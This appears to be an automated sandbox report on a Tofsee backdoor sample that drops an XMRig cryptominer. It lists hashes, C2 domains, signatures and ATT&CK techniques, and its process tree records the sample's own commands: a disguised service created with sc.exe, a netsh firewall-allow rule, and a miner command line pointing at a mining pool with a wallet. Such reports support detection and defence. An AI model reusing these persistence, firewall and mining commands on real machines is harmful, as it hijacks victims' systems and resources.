Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    04-06-2022 16:17

General

  • Target

    ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c.exe

  • Size

    200KB

  • MD5

    0a16f5fe48660f453da4d32664390477

  • SHA1

    d2712dcd12ecb90d1fc89bc00c90a9675e5a7e6b

  • SHA256

    ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c

  • SHA512

    603bc1056b9d9492d76aeb9f3247d81d399885d9bdf3c02b73f168eb4dea293baf0baa3cd6d40f76d45fded14fe7ce8c6b1fe0035fad759d22ef90de7f138efa

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c.exe
    "C:\Users\Admin\AppData\Local\Temp\ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qaiqugco\
      2⤵
        PID:3632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cpafebcp.exe" C:\Windows\SysWOW64\qaiqugco\
        2⤵
          PID:3748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qaiqugco binPath= "C:\Windows\SysWOW64\qaiqugco\cpafebcp.exe /d\"C:\Users\Admin\AppData\Local\Temp\ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qaiqugco "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qaiqugco
          2⤵
          • Launches sc.exe
          PID:356
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2084
      • C:\Windows\SysWOW64\qaiqugco\cpafebcp.exe
        C:\Windows\SysWOW64\qaiqugco\cpafebcp.exe /d"C:\Users\Admin\AppData\Local\Temp\ea77b67970509fb08748f22a080d3c7ce82ecf8e19e4bfa6c4bf04cdc2576e5c.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3424
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2524
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1436

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\cpafebcp.exe
        Filesize

        13.1MB

        MD5

        abffe86e802399c6ff39259c4b3e38fd

        SHA1

        23a70cc89b590b7a4d3d527ac331f59b504e74ab

        SHA256

        eb806289ef9ad8e0a60d60e276b9ff51b7cc0c226ca3f586f4faa9e9a8e69e19

        SHA512

        cfcdddfb0d2491dc8974011a4af831bfdbbf96bb429d7d4a4fe75c90f20e3bce0d4fe532b3c2e38543fdbd3e3b22bba87d2235009d96de11d2dae68e71dc6b80

      • C:\Windows\SysWOW64\qaiqugco\cpafebcp.exe
        Filesize

        13.1MB

        MD5

        abffe86e802399c6ff39259c4b3e38fd

        SHA1

        23a70cc89b590b7a4d3d527ac331f59b504e74ab

        SHA256

        eb806289ef9ad8e0a60d60e276b9ff51b7cc0c226ca3f586f4faa9e9a8e69e19

        SHA512

        cfcdddfb0d2491dc8974011a4af831bfdbbf96bb429d7d4a4fe75c90f20e3bce0d4fe532b3c2e38543fdbd3e3b22bba87d2235009d96de11d2dae68e71dc6b80

      • memory/356-198-0x0000000000000000-mapping.dmp
      • memory/1304-183-0x0000000000000000-mapping.dmp
      • memory/1304-184-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/1304-185-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/1436-521-0x0000000000F4259C-mapping.dmp
      • memory/1724-181-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/1724-182-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/1724-177-0x0000000000000000-mapping.dmp
      • memory/1724-180-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/1724-179-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/2084-209-0x0000000000000000-mapping.dmp
      • memory/2524-353-0x00000000003E9A6B-mapping.dmp
      • memory/2524-410-0x00000000003E0000-0x00000000003F5000-memory.dmp
        Filesize

        84KB

      • memory/2524-486-0x00000000003E0000-0x00000000003F5000-memory.dmp
        Filesize

        84KB

      • memory/3160-135-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-125-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-132-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-133-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-134-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-114-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-136-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-137-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-138-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-139-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-140-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-141-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-142-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-143-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-144-0x0000000000B7C000-0x0000000000B8A000-memory.dmp
        Filesize

        56KB

      • memory/3160-146-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-145-0x00000000009B0000-0x0000000000AFA000-memory.dmp
        Filesize

        1.3MB

      • memory/3160-147-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-148-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-149-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-150-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-151-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-152-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-153-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-154-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-155-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-156-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-157-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-158-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/3160-159-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-160-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-161-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-162-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-163-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-164-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-115-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-116-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-117-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-118-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-119-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-217-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/3160-214-0x0000000000B7C000-0x0000000000B8A000-memory.dmp
        Filesize

        56KB

      • memory/3160-120-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-121-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-122-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-123-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-124-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-130-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-129-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-128-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-127-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-126-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3160-131-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3424-354-0x0000000000C77000-0x0000000000C85000-memory.dmp
        Filesize

        56KB

      • memory/3424-347-0x0000000000C77000-0x0000000000C85000-memory.dmp
        Filesize

        56KB

      • memory/3424-348-0x0000000000900000-0x0000000000A4A000-memory.dmp
        Filesize

        1.3MB

      • memory/3424-349-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/3424-357-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/3632-168-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3632-165-0x0000000000000000-mapping.dmp
      • memory/3632-175-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3632-166-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3632-167-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3632-169-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3748-171-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3748-176-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3748-172-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3748-173-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB

      • memory/3748-170-0x0000000000000000-mapping.dmp
      • memory/3748-174-0x00000000773D0000-0x000000007755E000-memory.dmp
        Filesize

        1.6MB